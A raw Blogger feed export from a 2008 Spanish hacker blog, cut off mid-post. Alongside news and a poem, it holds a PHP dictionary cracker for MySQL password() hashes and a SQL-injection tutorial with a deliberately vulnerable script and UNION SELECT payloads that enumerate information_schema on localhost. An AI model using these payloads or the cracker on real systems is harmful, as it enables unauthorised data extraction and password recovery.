&lt;/script&gt;&lt;span style="display: none;"&gt;Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla  &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;/' );  document.write( 'span&gt;' );  //--&gt;  &lt;/script&gt;&lt;/span&gt;    &lt;/p&gt;&lt;p&gt;Simultáneamente en todo Veracruz y el país, las diferentes instituciones educativas, ayuntamientos, empresas y dependencias gubernamentales organizan actividades similares que permitan fomentar entre la población el interés por la ciencia y la tecnología. La invitación es a participar y sumarse a esta labor que beneficia a nuestros niños y jóvenes.    &lt;/p&gt;La programación detallada se podrá consultar en la página www.cienciaenveracruz.blogspot.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Una opinión Persona: Creo que por ahí verán a Xianur0 Haciendo desastre entre la multitud, aunque me párese algo bastante vació....&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-5154264521879309796?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/5154264521879309796/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=5154264521879309796' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5154264521879309796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5154264521879309796'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/10/15-semana-nacional-de-ciencia-y.html' title='15ª Semana Nacional de Ciencia y Tecnología en Veracruz'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3444713188640955915</id><published>2008-10-16T17:18:00.000-07:00</published><updated>2008-10-16T17:19:05.393-07:00</updated><title type='text'>Se queja McCain con YouTube</title><content type='html'>&lt;i&gt;YouTube&lt;/i&gt;, el sitio de difusión de videos por internet, rechazó una petición para revisar sus políticas y dejar de remover en forma expedita videos de campaña del republicano John McCain que pudieran infringir leyes de derecho de autor.&lt;br /&gt; &lt;br /&gt;Los videos de campaña de McCain han sido removidos con frecuencia por &lt;i&gt;YouTube&lt;/i&gt;, tras recibir quejas de que algunos infringen las leyes de derecho de autor al utilizar imágenes y audios de debates de televisión y discos protegidos, sin contar con los permisos para ello.&lt;br /&gt; &lt;br /&gt;El asesor legal de la campaña de McCain, Trevor Potter, envió esta semana una carta a los ejecutivos de &lt;i&gt;YouTube&lt;/i&gt; y de Google, en la que solicitó una 'completa revisión legal' de las notificaciones de remoción interpuestas contra los vídeos colocados por las campañas políticas.&lt;br /&gt; &lt;br /&gt;&lt;i&gt;YouTube&lt;/i&gt; está protegido por el Acta Digital del Milenio sobre Derecho de Autor (DMCA, por sus siglas en inglés), de tener responsabilidad por difundir material ilegal, siempre y cuando la compañía actué y lo remueva cuando sea notificada de un video que infringe el derecho de autor.&lt;br /&gt; &lt;br /&gt;Aun así, &lt;i&gt;YouTube&lt;/i&gt; enfrenta demandas de parte de compañías distribuidoras de discos y videos, de infringir las leyes de derecho de autor.&lt;br /&gt; &lt;br /&gt;En la respuesta a la carta de la campaña de McCain, el abogado en jefe de &lt;i&gt;YouTube&lt;/i&gt;, Zahavah Levine, explicó la dificultad que tienen jueces y abogados sobre lo que constituye un uso justo de los materiales con derecho de autor.&lt;br /&gt; &lt;br /&gt;'Ningún número de abogados puede posiblemente determinar con un nivel razonable de certitud si todos los vídeos de los que recibimos quejas para que sean removidos califican como de uso justo', dijo Levine.&lt;br /&gt; &lt;br /&gt;'La DMCA provee una salvaguarda de seguridad estatutaria para proveedores de servicio como &lt;i&gt;YouTube&lt;/i&gt; que albergan contenido', explicó.&lt;br /&gt; &lt;br /&gt;'Sin esta salvaguarda de seguridad, sitios como YouTube no pudieran existir. El problema real aquí es las entidades e individuos que abusan el proceso de la DMCA', agregó el abogado de la compañía.&lt;br /&gt; &lt;br /&gt;McCain, quien se encuentra abajo en las encuestas y ha sido sobrepasado en gastos de publicidad por su contrincante, el demócrata Barack Obama, busca mantenerse vivo y sin menoscabo en el poderoso canal de difusión que significa &lt;i&gt;YouTube&lt;/i&gt;.&lt;br /&gt; &lt;br /&gt;En la actual contienda electoral en Estados Unidos, &lt;i&gt;YouTube&lt;/i&gt; está robando en forma importante audiencias a las cadenas nacionales de televisión, al convertirse en un sitio casi imprescindible para las campañas políticas.&lt;br /&gt; &lt;br /&gt;De acuerdo con el Centro de Investigación Pew, un 35 por ciento de los estadunidenses encuestados en la primavera pasada indicaron haber visto vídeos relacionados a las campañas políticas tres veces más que en 2004.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3444713188640955915?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3444713188640955915/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3444713188640955915' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3444713188640955915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3444713188640955915'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/10/se-queja-mccain-con-youtube.html' title='Se queja McCain con YouTube'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-5106801541380552516</id><published>2008-09-27T11:36:00.001-07:00</published><updated>2008-09-27T11:40:20.580-07:00</updated><title type='text'>Jaquemate</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_UbB1YAg3klE/SN59m8DVYjI/AAAAAAAAADo/wZLs5Du8sSQ/s1600-h/ajedrez_modulo.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 220px; height: 145px;" src="http://1.bp.blogspot.com/_UbB1YAg3klE/SN59m8DVYjI/AAAAAAAAADo/wZLs5Du8sSQ/s200/ajedrez_modulo.jpg" alt="" id="BLOGGER_PHOTO_ID_5250772323469189682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;div style="text-align: left;"&gt;&lt;span&gt;Se que no cree este Blog para esto, pero quiero que comprendan un poco el por que de mis acciones....&lt;/span&gt; un Verso de mi autoria:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Sueña que hay por que vivir&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;sueña que alguien te regalara una emoción&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;sueña que alguien cree en ti&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aunque simplemente te quieran destruir&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;sin importar lo que piensen nosotros existimos&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;no somos nadie al nacer&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;solo queda ser leyenda&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;no somos nadie si nada hacemos&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;juega este juego que es la vida&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;cree en que hay esperanza, pero no la hay&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;has de este mundo tu tablero&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;no temas mover las piezas del destino&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;tan solo gana&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;no temas sacrificar algo&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;por que nada es permanente&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;al final en esta vida el juego es sobrevivir&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Eres dios o solo un perdedor?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ganadores somos los que queremos serlo&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;y los demás nuestros peones&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;En este juego del destino solo queda ganar o morir&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Al Final una explosión pasajera de imágenes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Que con Mi puño cambiare&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Forja el Destino cual espada&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Y Recuerda por que estas aquí&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Aprende de tus errores y Gana la partida&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;La Victoria es nuestra&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tu alma me pertenecerá si te equivocas&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nadie esperara tu turno&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Siempre eres vulnerable&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Haste fuerte o Muere&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Por que el Juego Comienza!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;No seré Tan Solo Un Peón!&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-5106801541380552516?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/5106801541380552516/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=5106801541380552516' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5106801541380552516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5106801541380552516'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/09/jaquemate.html' title='Jaquemate'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_UbB1YAg3klE/SN59m8DVYjI/AAAAAAAAADo/wZLs5Du8sSQ/s72-c/ajedrez_modulo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-780154555807725381</id><published>2008-09-25T17:32:00.000-07:00</published><updated>2008-09-25T17:54:46.104-07:00</updated><title type='text'>Crackeador password() MySQL</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Por Correo me pidieron el crackeador con insistencia, así que en un tiempo libre que logre hacerme, hice este crackeador, el cual necesita una base de datos txt y un servidor MySQL (sirve permisos nobody):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&amp;lt;?php&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;$server = "localhost";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;$usuario = "nobody";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;$password = "";&lt;br /&gt;$diccionario = "diccionario.txt";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;if(is_array($_GET['hash'])) { print "Intento de Path Disclosure Detectado!\n"; exit; } else { $hash = $_GET['hash'];}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;if(eregi("[SELECT]+[UNION]+[AND]+[OR]+[)]", $hash)) exit;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;htmlentities($hash);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;$link = mysql_connect($server, $usuario, $password);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;if(!mysql_real_escape_string($hash, $link)) exit;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;$archivo = file(&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;$diccionario&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;foreach($archivo as $n=&amp;gt;$linea) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;$resultado = mysql_query("SELECT password('$linea')", $link);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;while ($row = mysql_fetch_row($resultado)){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;if($row[0] == $hash) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;die("&amp;lt;b&amp;gt;Password Encontrada:&amp;lt;/b&amp;gt; $linea\n&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Passwords Probadas:&amp;lt;/b&amp;gt; $n\n&amp;lt;br&amp;gt;");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;}}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ejemplo:&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/crackeador.php?hash=*E30E2ECBF3FC6D46D4239C068C14E6A202B1019B&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;b&gt;Password Encontrada:&lt;/b&gt; xianur0&lt;br /&gt;&lt;b&gt;Passwords Probadas:&lt;/b&gt; 0&lt;br /&gt;&lt;br /&gt;(lo encontró en el primer dato que leio xD...)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-780154555807725381?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/780154555807725381/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=780154555807725381' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/780154555807725381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/780154555807725381'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/09/crackeador-password-mysql.html' title='Crackeador password() MySQL'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1044147844345302429</id><published>2008-09-22T19:21:00.000-07:00</published><updated>2008-09-22T21:01:57.821-07:00</updated><title type='text'>Testeando MySQL Mediante Bases de Datos Default</title><content type='html'>Suponiendo que tenemos una SQL Injection, pero no encontramos datos útiles, para ello tenemos muchas opciones que muchas veces están por default en los servidores, y otras tablas de administradores de archivos/bases de datos, también nos son útiles:&lt;br /&gt;&lt;br /&gt;&lt;ul style="font-weight: bold;"&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;information_schema&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;mysql&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;etc....&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;Comenzaremos con la information_schema:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Tablas:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;CHARACTER_SETS&lt;br /&gt;COLLATIONS&lt;br /&gt;COLLATION_CHARACTER_SET_APPLICABILITY&lt;br /&gt;COLUMNS&lt;br /&gt;COLUMN_PRIVILEGES&lt;br /&gt;KEY_COLUMN_USAGE&lt;br /&gt;PROFILING&lt;br /&gt;ROUTINES&lt;br /&gt;SCHEMATA&lt;br /&gt;SCHEMA_PRIVILEGES&lt;br /&gt;STATISTICS&lt;br /&gt;TABLES&lt;br /&gt;TABLE_CONSTRAINTS&lt;br /&gt;TABLE_PRIVILEGES&lt;br /&gt;TRIGGERS&lt;br /&gt;USER_PRIVILEGES&lt;br /&gt;VIEWS&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;Comenzaremos identificando las tablas que hay y en que DB's se encuentran, pero para ello necesitamos un script vulnerable para practicar:&lt;/span&gt;  &lt;br /&gt;&lt;br /&gt;Estructura de la DB:&lt;br /&gt;&lt;br /&gt;use test;&lt;br /&gt;CREATE TABLE `usuarios` (&lt;br /&gt;    `id` int(11) NOT NULL auto_increment,&lt;br /&gt;    `nombre` varchar(180) NOT NULL default '',&lt;br /&gt;    `email` varchar(50) NOT NULL default '',&lt;br /&gt;    PRIMARY KEY  (`id`)&lt;br /&gt;);&lt;br /&gt;insert  into usuarios values&lt;br /&gt;(1, 'xianur0', 'uxmal666@gmail.com');&lt;br /&gt;insert  into usuarios values&lt;br /&gt;(2, 'UxMal', 'uxmal666@gmail.com');&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;vuln.php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;?php&lt;br /&gt;$id = $_GET['id'];&lt;br /&gt;$conexion&lt;/span&gt; = &lt;a href="http://www.php.net/mysql_connect"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;mysql_connect&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"localhost"&lt;/span&gt;, &lt;span style="color: rgb(255, 0, 0);"&gt;"xianur0"&lt;/span&gt;,&lt;span style="color: rgb(255, 0, 0);"&gt;"mipassword"&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;a href="http://www.php.net/mysql_select_db"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;mysql_select_db&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"test"&lt;/span&gt;, &lt;span style="color: rgb(0, 0, 255);"&gt;$conexion&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;)&lt;/span&gt;;   &lt;span style="color: rgb(0, 0, 255);"&gt;&lt;br /&gt;$consulta&lt;/span&gt; = &lt;span style="color: rgb(255, 0, 0);"&gt;"SELECT * FROM usuarios Where id = $id"&lt;/span&gt;; &lt;span style="color: rgb(0, 0, 255);"&gt;&lt;br /&gt;$resultado&lt;/span&gt; = &lt;a href="http://www.php.net/mysql_query"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;mysql_query&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;$consulta&lt;/span&gt;, &lt;span style="color: rgb(0, 0, 255);"&gt;$conexion&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;)&lt;/span&gt; or &lt;a href="http://www.php.net/die"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;die&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;(&lt;/span&gt;&lt;a href="http://www.php.net/mysql_error"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;mysql_error&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;)&lt;/span&gt;;&lt;span style="color: rgb(0, 0, 255);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;$todo&lt;/span&gt; = &lt;a href="http://www.php.net/mysql_num_rows"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;mysql_num_rows&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;$resultado&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(97, 97, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;$todo&lt;/span&gt;&amp;gt; &lt;span style="color: rgb(128, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;{&lt;/span&gt;&lt;span style="color: rgb(97, 97, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;$row&lt;/span&gt; = &lt;a href="http://www.php.net/mysql_fetch_assoc"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;mysql_fetch_assoc&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;$resultado&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.php.net/echo"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;echo&lt;/span&gt;&lt;/a&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;"&amp;lt;strong&amp;gt;"&lt;/span&gt;.&lt;span style="color: rgb(0, 0, 255);"&gt;$row&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'id'&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;]&lt;/span&gt;.&lt;span style="color: rgb(255, 0, 0);"&gt;"&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;"&lt;/span&gt;;&lt;br /&gt;&lt;a href="http://www.php.net/echo"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;echo&lt;/span&gt;&lt;/a&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;"Nombre: "&lt;/span&gt;.&lt;span style="color: rgb(0, 0, 255);"&gt;$row&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'nombre'&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;]&lt;/span&gt;.&lt;span style="color: rgb(255, 0, 0);"&gt;"&amp;lt;br&amp;gt;"&lt;/span&gt;;&lt;br /&gt;&lt;a href="http://www.php.net/echo"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;echo&lt;/span&gt;&lt;/a&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;"Email: "&lt;/span&gt;.&lt;span style="color: rgb(0, 0, 255);"&gt;$row&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'email'&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;]&lt;/span&gt;.&lt;span style="color: rgb(255, 0, 0);"&gt;"&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;"&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Hacemos la Consulta: http://127.0.0.1/vuln.php?id=1&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;br /&gt;Nombre: xianur0&lt;br /&gt;Email: uxmal666@gmail.com&lt;br /&gt;&lt;br /&gt;Comenzamos a Inyectar:&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;/span&gt;&lt;br /&gt;The used SELECT statements have a different number of columns&lt;br /&gt;&lt;br /&gt;Podemos usar el fuzzer que también esta en este blog o hacerlo manualmente (como prefieran):&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1,1&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;br /&gt;Nombre: 1&lt;br /&gt;Email: 1&lt;br /&gt;&lt;br /&gt;Comenzamos a Sacar Datos:&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,2,table_name/**/FROM/**/information_schema.tables&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;br /&gt;Nombre: 2&lt;br /&gt;Email: CHARACTER_SETS&lt;br /&gt;&lt;br /&gt;Bueno al no haber un error SQL y al responder con el nombre de una tabla, quiere decir que existe information_schema (valgame la redundancia), sigamos inyectando:&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables&lt;br /&gt;&lt;br /&gt;Donde: TABLE_SCHEMA es la DB y table_name es el nombre de la tabla.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;information_schema&lt;/strong&gt;&lt;br /&gt;Nombre: 2&lt;br /&gt;Email: CHARACTER_SETS&lt;br /&gt;&lt;br /&gt;ya tenemos la primera tabla de esa DB (el information_schema no esta considerando la DB 